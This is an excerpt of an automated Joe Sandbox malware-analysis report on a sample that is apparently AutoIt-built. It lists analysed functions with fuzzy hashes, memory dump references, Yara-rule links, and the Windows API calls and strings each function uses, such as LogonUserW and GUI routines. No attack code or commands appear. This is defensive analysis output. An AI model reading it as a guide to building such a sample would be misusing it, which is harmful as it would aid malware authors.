Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9f8b30af45c62f0f5d61847eeef1aecfe7bc98884121b7fe4bd6194632acff2
Instruction ID: 9ebdd5fe2498d872a538d9fe57ce59f46a1302b8b8de9e3017cd9be10f5d5e8c
Opcode Fuzzy Hash: c9f8b30af45c62f0f5d61847eeef1aecfe7bc98884121b7fe4bd6194632acff2
Instruction Fuzzy Hash: 46321622D29F414DD7639A34D872336A25AAFB73C4F15D737F81AB9AA5EB29C4834100

Function 0068242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fdf5d3bf64598fdffaf8162dcedb5b2c2ae489d37a3a1330d511170de2189d9
Instruction ID: 607cb2262753a5e12b1efd27226981a15b6f292d608780ae00d5a5dd78c5f99e
Opcode Fuzzy Hash: 6fdf5d3bf64598fdffaf8162dcedb5b2c2ae489d37a3a1330d511170de2189d9
Instruction Fuzzy Hash: 6BB12330D2AF814DD32396398871336B69DAFBB2C5F52E71BFC1674D62EB2195834241

Function 006A87B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,006A8389), ref: 006A87D1

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: ea9ff579df30263cceb23f0a4615e97e57410770e43769733ace04ba67fe2dde
Instruction ID: 18e9a6d304c3c2378e32407b3a82ab543a13499a195027a6d8f3d7b10c41c67c
Opcode Fuzzy Hash: ea9ff579df30263cceb23f0a4615e97e57410770e43769733ace04ba67fe2dde
Instruction Fuzzy Hash: 22D09E3226450EABEF019FA4DD05EBE3B6AEB04B01F408511FE16D61A1C775D935AB60

Function 0067A124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 0067A12A

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7f8642122c5412819d434bc11e6b7155b612cb1b2cf1f240f27910128a85c00c
Instruction ID: 5a25bd8b95388497204cc55ae1577e614ddf8e814b5708a76a623ee28e9d0870
Opcode Fuzzy Hash: 7f8642122c5412819d434bc11e6b7155b612cb1b2cf1f240f27910128a85c00c
Instruction Fuzzy Hash: A9A0243000010CF7CF001F45FC044447F5DD7001D07014031F40D40031CF33541045C0

Function 00668808 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2197d48d5c3b414a40d71d7f1562e00bf1634dd0239b765c534867b631d072bd
Instruction ID: b88e6ade24b050ed4807a9352bde134eb63584e7aa57eb0aff1f51d43b313bf0
Opcode Fuzzy Hash: 2197d48d5c3b414a40d71d7f1562e00bf1634dd0239b765c534867b631d072bd
Instruction Fuzzy Hash: 34223530A04506CFDF28DA78C4947BC77A3FF42344F28836BE9469B692DB759D92CA41

Function 006721C5 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 23cc42bcfd0f5f3b85442975d40a2d3e066c059c75d65d5c6bead454d2901792
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 0FC185322050930ADF2D463DC4750BEBBA25EA37B131A975ED4BBCF2D5EE10C965D620

Function 006725FA Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 3e887c24c0f461381d7697b296991d9c6917d4242e11780e523e4f1ab158333f
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 6DC1A8322051930ADF2D463EC43507EBBA25EA37B131A576ED4BBDF2D4EE20C925D620

Function 00671978 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 22c2e48820d6fe1f846c86f9bb9f02a7d0699e0dd59e91c03ee8927eefdfc4bd
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 6FC184322051930ADF2D463D84751BEBAA25EA37B131A975FD4BADF2C4FE20C925DA10

Function 032D35D0 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1379067181.00000000032D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32d0000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction ID: 0cd52ee6d37e09923d1cc01da92376dcd0e44fac7000d199ef04f541cefc9962
Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction Fuzzy Hash: 5F41A271D1051CEBCF48CFADC991AAEBBF2AF88201F548299D516AB345D730AB41DB90

Function 032D3460 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1379067181.00000000032D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32d0000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction ID: 4f5d17e1e56b71fab0598c1703d046e50bfd336d14e1503a986fe1b93dd484ca
Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction Fuzzy Hash: A801D278A10209EFCB84DF98C5809AEF7B5FB48310F248199D909A7700D734EE81DB80

Function 032D34C0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1379067181.00000000032D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32d0000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction ID: ce49d1a951a4582a1b58a2fedb35d132a337886d739d0bf9a3b559f8e982f3bf
Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction Fuzzy Hash: 8F019278A11209EFCB44DF98C5909AEF7F5FB48310F248599D909A7701D731AE81DB81

Function 032D1E70 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1379067181.00000000032D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32d0000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48

Function 006C7806 Relevance: 79.2, APIs: 40, Strings: 5, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 006C785B
DeleteObject.GDI32(00000000), ref: 006C786D
DestroyWindow.USER32 ref: 006C787B
GetDesktopWindow.USER32 ref: 006C7895
GetWindowRect.USER32(00000000), ref: 006C789C
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 006C79DD
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 006C79ED
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006C7A35
GetClientRect.USER32(00000000,?), ref: 006C7A41
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 006C7A7B
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006C7A9D
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006C7AB0
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006C7ABB
GlobalLock.KERNEL32(00000000), ref: 006C7AC4
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006C7AD3
GlobalUnlock.KERNEL32(00000000), ref: 006C7ADC
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006C7AE3
GlobalFree.KERNEL32(00000000), ref: 006C7AEE
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006C7B00
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,006E2CAC,00000000), ref: 006C7B16
GlobalFree.KERNEL32(00000000), ref: 006C7B26
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 006C7B4C
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 006C7B6B
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006C7B8D
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 006C7D7A

Strings

@U=u, xrefs: 006C7B6B, 006C7CFA
static, xrefs: 006C7A75, 006C7BCC
, xrefs: 006C7D00
DISPLAY, xrefs: 006C7BDD
AutoIt v3, xrefs: 006C7A2D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $@U=u$AutoIt v3$DISPLAY$static
API String ID: 2211948467-3613752883
Opcode ID: 205d0107c15c1f328159f3e95b6c3d5c0b1fc966b559eee90e76cf5960aedeec
Instruction ID: 5909f4a7d443d0f1a304ea0c3652af53ac0f06331d7d502c02b8de60bd3c2a61
Opcode Fuzzy Hash: 205d0107c15c1f328159f3e95b6c3d5c0b1fc966b559eee90e76cf5960aedeec
Instruction Fuzzy Hash: 3F023971901115EFDB14DFA8DC89EAE7BBAEF48310F148169F916AB2A1C734AD01CF64

Function 006DA5DA Relevance: 59.8, APIs: 33, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 006DA630
GetSysColorBrush.USER32(0000000F), ref: 006DA661
GetSysColor.USER32(0000000F), ref: 006DA66D
SetBkColor.GDI32(?,000000FF), ref: 006DA687
SelectObject.GDI32(?,00000000), ref: 006DA696
InflateRect.USER32(?,000000FF,000000FF), ref: 006DA6C1
GetSysColor.USER32(00000010), ref: 006DA6C9
CreateSolidBrush.GDI32(00000000), ref: 006DA6D0
FrameRect.USER32(?,?,00000000), ref: 006DA6DF
DeleteObject.GDI32(00000000), ref: 006DA6E6
InflateRect.USER32(?,000000FE,000000FE), ref: 006DA731
FillRect.USER32(?,?,00000000), ref: 006DA763
GetWindowLongW.USER32(?,000000F0), ref: 006DA78E

Part of subcall function 006DA8CA: GetSysColor.USER32(00000012), ref: 006DA903
Part of subcall function 006DA8CA: SetTextColor.GDI32(?,?), ref: 006DA907
Part of subcall function 006DA8CA: GetSysColorBrush.USER32(0000000F), ref: 006DA91D
Part of subcall function 006DA8CA: GetSysColor.USER32(0000000F), ref: 006DA928
Part of subcall function 006DA8CA: GetSysColor.USER32(00000011), ref: 006DA945
Part of subcall function 006DA8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 006DA953
Part of subcall function 006DA8CA: SelectObject.GDI32(?,00000000), ref: 006DA964
Part of subcall function 006DA8CA: SetBkColor.GDI32(?,00000000), ref: 006DA96D
Part of subcall function 006DA8CA: SelectObject.GDI32(?,?), ref: 006DA97A
Part of subcall function 006DA8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 006DA999
Part of subcall function 006DA8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 006DA9B0
Part of subcall function 006DA8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 006DA9C5
Part of subcall function 006DA8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 006DA9ED

Strings

@U=u, xrefs: 006DA7B8

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID: @U=u
API String ID: 3521893082-2594219639
Opcode ID: 0eec560b87024ee6d7055d7a747cb3e58261a69c5d036410f89542c15e048932
Instruction ID: 20669eb3e16e033b3173fcfff75a15aedd6c7943c1d3346d39a0faa57c68647e
Opcode Fuzzy Hash: 0eec560b87024ee6d7055d7a747cb3e58261a69c5d036410f89542c15e048932
Instruction Fuzzy Hash: 83918E72809301FFC7109FA4DC08A5B7BAAFF89321F145B2AF962962E0D771D945CB52

Function 006D356B Relevance: 52.9, APIs: 6, Strings: 24, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,006DF910), ref: 006D3627
IsWindowVisible.USER32(?), ref: 006D364B

Strings

ISENABLED, xrefs: 006D366B
GETSELECTED, xrefs: 006D38A3
GETCURRENTLINE, xrefs: 006D38ED
TABRIGHT, xrefs: 006D369D
ISVISIBLE, xrefs: 006D3637
CHECK, xrefs: 006D386D
GETCURRENTSELECTION, xrefs: 006D37E3
TABLEFT, xrefs: 006D3687
UNCHECK, xrefs: 006D3883
GETLINE, xrefs: 006D399B
CURRENTTAB, xrefs: 006D36BD
ISCHECKED, xrefs: 006D3839
@U=u, xrefs: 006D38E3, 006D390A, 006D3993
ADDSTRING, xrefs: 006D3716
SHOWDROPDOWN, xrefs: 006D36E0
SENDCOMMANDID, xrefs: 006D39DA
GETCURRENTCOL, xrefs: 006D3928
HIDEDROPDOWN, xrefs: 006D3700
SETCURRENTSELECTION, xrefs: 006D37B6
DELSTRING, xrefs: 006D3749
EDITPASTE, xrefs: 006D395F
GETLINECOUNT, xrefs: 006D38C6
SELECTSTRING, xrefs: 006D3806
FINDSTRING, xrefs: 006D3776

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: @U=u$ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-3469695742
Opcode ID: 0b04f97e317a1f912f0a6502f6d27ffb572ee9759287b2657a41a82a062aea23
Instruction ID: 78a28a69cc4ad846462451ae3e55c495c6c1364cd69cbf0973519521d12822d9
Opcode Fuzzy Hash: 0b04f97e317a1f912f0a6502f6d27ffb572ee9759287b2657a41a82a062aea23
Instruction Fuzzy Hash: 31D16B30A04311DBCB44EF10C852AAE77A3AF95754F14856DF8865B3E3DB21EE0ACB56

Function 00652C18 Relevance: 51.2, APIs: 27, Strings: 2, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00652CA2
DeleteObject.GDI32(00000000), ref: 00652CE8
DeleteObject.GDI32(00000000), ref: 00652CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00652CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 00652D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 0068C43B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 0068C474
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0068C89D

Part of subcall function 00651B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00652036,?,00000000,?,?,?,?,006516CB,00000000,?), ref: 00651B9A

SendMessageW.USER32(?,00001053), ref: 0068C8DA
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0068C8F1
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0068C907
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0068C912

Strings

@U=u, xrefs: 0068C43B, 0068C542, 0068C81D
0, xrefs: 0068C731

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0$@U=u
API String ID: 464785882-975001249
Opcode ID: 55c09651648ba52b3562c374ec30104f113174cc9f5562886d15246775a7c378
Instruction ID: af2779c4717c965e11ab7300a835550a4f8f3703135b776d5aec98fccbbc92d3
Opcode Fuzzy Hash: 55c09651648ba52b3562c374ec30104f113174cc9f5562886d15246775a7c378
Instruction Fuzzy Hash: 8412A030500202DFDB51DF24C894BA9BBE2FF45321F548669F856DB662C731E896CBA1

Function 006C74AB Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 006C74DE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 006C759D
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 006C75DB
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 006C75ED
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 006C7633
GetClientRect.USER32(00000000,?), ref: 006C763F
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 006C7683
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 006C7692
GetStockObject.GDI32(00000011), ref: 006C76A2
SelectObject.GDI32(00000000,00000000), ref: 006C76A6
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 006C76B6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 006C76BF
DeleteDC.GDI32(00000000), ref: 006C76C8
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 006C76F4
SendMessageW.USER32(00000030,00000000,00000001), ref: 006C770B
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 006C7746
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 006C775A
SendMessageW.USER32(00000404,00000001,00000000), ref: 006C776B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 006C779B
GetStockObject.GDI32(00000011), ref: 006C77A6
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 006C77B1
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 006C77BB

Strings

@U=u, xrefs: 006C76FA
msctls_progress32, xrefs: 006C773C
static, xrefs: 006C767D, 006C7795
DISPLAY, xrefs: 006C7688
AutoIt v3, xrefs: 006C762B

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: @U=u$AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-2771358697
Opcode ID: 283ec8ff5ad3df5687cacb4e3b5ae679a176c1784b96728fad207b5be36b4892
Instruction ID: dc6deae6380c6f893995c614310f941822070bb2c337c09e73da82d74a58d58c
Opcode Fuzzy Hash: 283ec8ff5ad3df5687cacb4e3b5ae679a176c1784b96728fad207b5be36b4892
